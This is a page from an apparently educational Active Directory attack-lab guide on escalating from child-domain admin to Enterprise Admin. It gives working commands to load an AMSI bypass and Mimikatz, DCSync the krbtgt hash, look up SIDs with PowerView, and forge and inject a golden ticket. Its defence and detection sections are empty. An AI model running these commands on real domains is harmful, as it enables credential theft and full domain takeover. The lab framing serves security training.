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Building a Windows AD lab
  • Building a Windows AD lab
  • Lab-setup
    • Lab overview
    • Building the lab
      • Prerequisite
      • Creating images
        • Optional: Install software & Settings
      • Network setup
      • Cloning & Creating VM's
      • Creating bank.local
        • Creating Domain Controller - DC01
          • Enable RDP
        • Creating amsterdam.bank.local
          • Creating Domain Controller - DC02
            • Creating a AD structure
            • Create a CA
            • Configure LDAPS
          • Creating Fileserver - FILE01
            • File services
          • Creating W10 client - WS01
            • PSRemoting
          • Creating Webserver - WEB01
            • Web Services
            • SQL Server
              • Create database
      • Creating secure.local
        • Creating Domain Controller - DC03
        • Creating File/SQL Server - DATA01
          • SQL Server
            • Create database
    • Attack Paths
      • Attack path 1 (hard)
        • Configuring
        • Tasks
        • Manual
      • Attack path 2
        • Configuring
        • Task
        • Manual
    • Troubleshooting
    • To-Do
  • Vulnerabilities & Misconfigurations & Attacks
    • Initial Access Attacks
      • Username Enumeration
        • Password Spraying
        • AS-REP Roasting
        • Empty Password
      • SMB Relaying
      • SMB Null-Session (To-Do)
      • SQL Server default login
    • Active Directory Attacks
      • Password spraying
      • AS-REP Roasting
      • Empty password
      • Password in description
      • Kerberoasting
      • Delegation Attacks
        • Unconstrained Delegation
          • Printerbug
        • Constrained Delegation
        • Resource Based Constrained Delegation
          • Computeraccount Takeover
          • Change-LockScreen
          • Webclient Attack (todo)
      • DACL-Abuses
        • Write Owner
        • Owns
        • WriteDacl
        • GenericAll
        • GenericWrite (todo)
        • ForceChangePassword
        • Add user to group (todo)
        • Targeted Kerberoast (todo)
        • Get-Changes
      • Reused local administrator (todo)
      • SQL Server Attacks (todo)
        • Initial Access
          • SQL Server default login
          • Normal domain user access
        • Privilege Escalation
          • Impersonation
          • DB-Owner
          • Enumerate Logins
            • Weak passwords
        • Executing Commands
        • Database-Links
        • Capturing hashes & Relaying
      • Reading LAPS passwords (todo)
      • Priviliged Groups (todo)
        • DNS-Admins (todo)
        • Account Operators (todo)
        • Backup Operators
        • Server Operators (todo)
      • Hopping domains and forests
        • Child to parent domain
          • Krbtgt hash
          • Trust key
        • Cross forest Attacks (todo)
          • Foreign user
    • Misc
      • Reverse shell trick
      • Lateral Movement
        • PSRemoting
        • PsExec (todo)
      • Misconfigured Service (todo)
        • Unqouted Service Path
      • Discovering Shares
      • Password on shares
      • Different methods of dumping credentials
        • LSASS (todo)
        • Dumping DPAPI
          • Browser passwords
        • Scheduled tasks (todo)
        • Services (todo)
        • Vssadmin Shadow Copy
      • ms-ds-machineaccountquota (todo)
      • add DNS Records (todo)
      • Bypassing UAC
    • Template page
  • Defence
    • Detection
    • Hardening
      • LDAP
        • LDAP Signing
        • LDAPS Binding
      • Strong Password Policy
      • Change who can join computers to the domain
      • Protected users group
      • Account is sensitive and cannot be delegated
      • Powershell Execution Policy
      • Template page
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On this page
  • Attacking
  • How it works
  • Tools
  • Executing the attack
  • Defending
  • Detection
  • References
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  1. Vulnerabilities & Misconfigurations & Attacks
  2. Active Directory Attacks
  3. Hopping domains and forests
  4. Child to parent domain

Krbtgt hash

PreviousChild to parent domainNextTrust key

Last updated 2 years ago

Attacking

How it works

Once you gain Domain Admin privileges within the child domain its possible to get Enterprise Admin in the parent domain by generating a golden ticket in the child domain with the SID of the Enterprise Admin group.

Tools

Executing the attack

The attack is executed from the perspective of already gaining domain admin privileges. This is done in the unconstrained delegation section:

  1. For easy execution, login on WS01 as the Administrator user with the password Welcome01!.

  2. Start PowerShell as Administrator and load a amsi bypass and MimiKatz into memory.

To execute the attack we need a couple bits of information:

  • The hash of the krbtgt user.

  • The SID of the Enterprise Admins group.

  • The SID of the child domain.

3. Execute a DCsync with MimiKatz and only retrieve the krbtgt hash:

Invoke-MimiKatz -Command '"lsadump::dcsync /user:amsterdam\krbtgt /domain:amsterdam.bank.local"'

4. Retrieve the SID of the enterprise Admins group, using PowerView:

Get-DomainGroup "Enterprise Admins" -Domain bank.local | Select-Object samaccountname, objectsid

5. Retrieve the domain SID from the child domain, using PowerView:

Get-DomainSID

6. Create a golden ticket with MimiKatz and inject it into the current session:

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<FQDN CHILD DOMAIN> /sid:<CHILD DOMAIN SID> /krbtgt:<HASH> /sids:<SIDS OF ENTERPRISE ADMIN GROUP OF TARGET> /ptt"'

7. The ticket injected successfully, now we can dir the c$ directory to check if our user has read/write access to the C disk:

Defending

Detection

References

MimiKatz
PowerView
Unconstrained Delegation
Logonishang/Invoke-Mimikatz.ps1 at master · samratashok/nishangGitHub